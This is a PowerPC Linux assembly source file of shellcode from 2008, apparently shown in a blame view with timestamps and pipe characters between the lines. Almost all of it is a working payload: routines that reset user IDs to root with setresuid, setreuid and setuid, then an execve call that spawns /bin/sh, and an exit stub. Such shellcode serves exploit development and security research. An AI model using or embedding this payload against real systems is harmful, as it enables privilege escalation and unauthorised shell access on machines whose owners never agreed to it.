2008-11-17 10:34:26 +00:00
|
|
|
/*
|
2010-05-23 20:01:11 +00:00
|
|
|
* lin-power-shellcode.S
|
2008-11-17 10:34:26 +00:00
|
|
|
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
|
|
|
|
*
|
|
|
|
|
* This library is free software; you can redistribute it and/or
|
|
|
|
|
* modify it under the terms of the GNU Lesser General Public
|
|
|
|
|
* License as published by the Free Software Foundation; either
|
|
|
|
|
* version 2.1 of the License, or (at your option) any later version.
|
|
|
|
|
*
|
|
|
|
|
* This library is distributed in the hope that it will be useful,
|
|
|
|
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
|
|
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
|
|
|
* Lesser General Public License for more details.
|
|
|
|
|
*
|
|
|
|
|
* You should have received a copy of the GNU Lesser General Public
|
|
|
|
|
* License along with this library; if not, write to the Free Software
|
|
|
|
|
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
|
|
|
*
|
|
|
|
|
*/
|
|
|
|
|
|
|
|
|
|
#include "linux-power.h"
|
|
|
|
|
|
|
|
|
|
.globl main
|
|
|
|
|
|
|
|
|
|
main:
|
|
|
|
|
|
|
|
|
|
#ifdef ALL
|
|
|
|
|
setresuidcode:
|
|
|
|
|
lil %r31,__CAL
|
|
|
|
|
xor %r5,%r5,%r5
|
|
|
|
|
xor %r4,%r4,%r4
|
|
|
|
|
xor %r3,%r3,%r3
|
|
|
|
|
cal %r0,__NC_setresuid(%r31)
|
|
|
|
|
.long 0x44ffff02
|
|
|
|
|
|
|
|
|
|
setreuidcode:
|
|
|
|
|
lil %r31,__CAL
|
|
|
|
|
xor %r4,%r4,%r4
|
|
|
|
|
xor %r3,%r3,%r3
|
|
|
|
|
cal %r0,__NC_setreuid(%r31)
|
|
|
|
|
.long 0x44ffff02
|
|
|
|
|
|
|
|
|
|
setuidcode:
|
|
|
|
|
lil %r31,__CAL
|
|
|
|
|
xor %r3,%r3,%r3
|
|
|
|
|
cal %r0,__NC_setuid(%r31)
|
|
|
|
|
.long 0x44ffff02
|
|
|
|
|
|
|
|
|
|
#endif
|
|
|
|
|
|
|
|
|
|
shellcode:
|
|
|
|
|
lil %r31,__CAL
|
|
|
|
|
xor. %r5,%r5,%r5
|
|
|
|
|
bnel shellcode
|
|
|
|
|
mflr %r30
|
|
|
|
|
cal %r30,511(%r30)
|
|
|
|
|
cal %r3,-511+36(%r30)
|
|
|
|
|
stb %r5,-511+43(%r30)
|
|
|
|
|
stu %r5,-4(%r1)
|
|
|
|
|
stu %r3,-4(%r1)
|
|
|
|
|
mr %r4,%r1
|
|
|
|
|
cal %r0,__NC_execve(%r31)
|
|
|
|
|
.long 0x44ffff02
|
|
|
|
|
.asciz "/bin/sh"
|
|
|
|
|
|
|
|
|
|
#ifdef ALL
|
|
|
|
|
exitcode:
|
|
|
|
|
lil %r31,__CAL
|
|
|
|
|
xor %r3,%r3,%r3
|
|
|
|
|
cal %r0,__NC_exit(%r31)
|
|
|
|
|
.long 0x44ffff02
|
|
|
|
|
|
|
|
|
|
#endif
|
|
|
|
|
|
